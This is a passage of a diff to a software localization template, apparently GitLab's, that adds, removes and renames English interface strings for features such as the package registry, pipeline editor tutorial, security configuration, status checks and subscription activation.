+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
